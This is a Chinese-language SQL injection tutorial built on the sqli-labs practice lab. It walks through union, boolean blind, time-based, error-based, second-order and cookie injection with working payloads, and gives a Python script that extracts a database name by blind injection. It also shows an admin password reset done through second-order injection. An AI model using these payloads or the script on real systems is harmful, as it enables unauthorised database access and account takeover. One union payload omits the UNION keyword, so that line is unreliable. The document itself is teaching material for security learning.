SQL注入
概要
1,什么是SQL注入?
web应用程序对用户输入的数据没有做过滤,前端传入的参数可控,可以被构造为恶意代码
被带入数据库查询,从而实现对数据库的操作或植入后门。
2,sql注入形成必要条件
1)前端传入后端的参数可控
2)传入的参数能够被带入数据库执行
常用函数以及注释
常用函数:
database() :当前数据库
user() : 当前用户
version() : 当前MYSQL版本
if() 、substr() 字符串截取、updatexml() 、sleep()、len()、ascii()、
concat()等等;
常用注释符:
# 或 %23(url编码)、 --+、-- 单行注释
/**/ 多行注释
/*! */ 内联注释,其中的sql语句可以被执行
测试环境
sqli-labs
主要攻击方式
0x01 union注入
基于单引号或者双引号的报错,并且页面有回显数据位置,后端没有对union做过滤
Less-1
payload:http://localhost:1111/Less-1/?id=1'
由于单引号未闭合,导致数据库报错回显
闭合单引号,获取字段数,使用order by 加 二分法进行判断
payload: ' order by 3 %23
获取字段数后,进行union注入并查找回显位置,
union 联合查询:如果前面sql语句执行有返回值,则只返回前面sql语句查询结果,反之,
返回后面sql语句的查询结果
payload: ' and 0 union select 1,2,3 %23
确认回显位置,开始常规的sql注入即可:
获取数据库名payload: ' and 0 select 1,database(),3 %23
0x02 Boolean盲注
基于单引号或双引号未闭合的错误,页面没有回显数据位,只返回数据库查询的结果正确与否
Less-8
一般思路为,通过构造payload,通过python脚本自动的判断页面回显实现注入获取数据:
import requests
url = input ( "请输入sql注入的URL:" )
db_len = 0
db_name = ''
def get_dblen ( url) :
for i in range ( 20 ) :
payload = url + "' and length(database()) = {0}%23" . format ( i)
res = requests. get( payload)
html = res. text
if "You are in..........." in html :
print ( "数据库长度为: " , i)
return i
def get_dbName ( db_len, url) :
db_name = ''
for i in range ( 1 , db_len+ 1 ) :
for x in range ( 0 , 255 ) :
payload = url + "' and ord(substr(database(),{0},1)) = {1} %23" . format ( i, x)
res = requests. get( payload)
html = res. text
if "You are in..........." in html :
db_name += chr ( x)
print ( "数据库名为:" , db_name)
return db_name
db_len = get_dblen( url)
db_name = get_dbName( db_len, url)
0x03 时间盲注
时间盲注与Boolean盲注同理,只不过是配合使用sleep函数监视页面的响应时间来完成注入;
0x04 报错注入
通过mysql中内置的一些函数会执行函数内部的sql语句并以报错的形式返回结果
如:updatexml( ) 、extractvalue( ) ,floor( ) 等
Less-5
爆库名payload : ' and updatexml( 1 ,concat( 0x7e,database( ) ,0x7e) ,1) %23
0x7e 是 ~
爆破表名等只需将构造好的sql语句放入updatexml( ) 中即可
注:updatexml有长度限制,最多显示32位,可以使用left( ) 和right( ) 函数
0x05 二次注入
二次注入通常出现在用户注册界面以及用户查询界面;在注册界面,用户构造好sql
语句通过注册功能先将sql语句插入到数据库中,再使用登录或者其他查询功能将存储在
数据库中的sql语句拼接到后端sql代码中,从而产生二次注入;先存储,后利用;
Less-24
打开less-24是一个用户注册登录页面,在登录页面发现使用常规的sql注入看不见效果,查看
后端代码,使用了mysql_real_escape_string( ) 函数对用户输入的数据进行了特殊字符转换
,因此转换思路,看向用户注册界面:
不妨先注册一个带单引号的用户 abc' ,然后进数据库查看结果:发现是可以注册带有特殊字符
的用户名的
然后看到数据库中有一个admin用户,联想到页面的另一个功能是修改密码,我们
可以再次查看修改密码页面的源代码:
可以看到,除了从session中拿出的username以外的参数在拼接到更新密码的sql语句前是做
了特殊字符过滤的,所以我们可以是否可以注册一个admin '
来达到无 admin 原密码直接修改新密码的目的呢?
我们先查询一下admin原密码是什么,然后尝试注册一个admin '
接下来,先登录 admin'
重置admin'# 用户密码以后发现,admin'
密码被重置为123
这是因为:在重置密码时,后端代码并没有对从session中拿出的username参数做特殊字符
转义,而从修改密码的页面传来的参数以及session中的username拼接到sql语句中使后端
的sql语句变成了:
UPDATE users SET PASSWORD = '123' where username = 'admin'
最终实现了,在不知道admin原密码的情况下,重置了admin用户的密码;
解决办法:在数据存入数据库时,也做特殊字符的转义;
0X06 cookie注入(base64注入同理)
Less- 20 ,在index. php界面,使用admin admin账号密码登录,显示了cookie、登录名,
密码,以及Your ID: 8 ,可以先看到Less- 20 关的关键源代码部分:
可以看到,uname是直接从$_COOKIE中获取的,并且拼接到sql语句之前没有经过任何的过滤,
也就是没有check_input ( ) , 导致用户可以通过修改cookie的值,造成sql注入
因此使用BP抓包,对cookie字段的值进行修改,即可进行sql注入:
* 一开始登录的时候,是没有创建cookie的,输入了正确的账号密码之后,便形成了cookie:
在set- cookie之后,点击"follow redirection" 对数据包进行重定向,然后在proxy模块
Forword一下,便可以抓到带有登录信息cookie的包, 然后就可以在cookie处进行注入:
加'\' 判断类型:判断为字符型
使用 ' -- + 进行闭合,然后可以进行union 联合查询,或者可以使用updatexml报错注入,、
* * * 例如联合注入:
获取数据库名:0 ' union select 1 , 2 , database ( ) -- +
闭合之后进行常规的sql注入即可;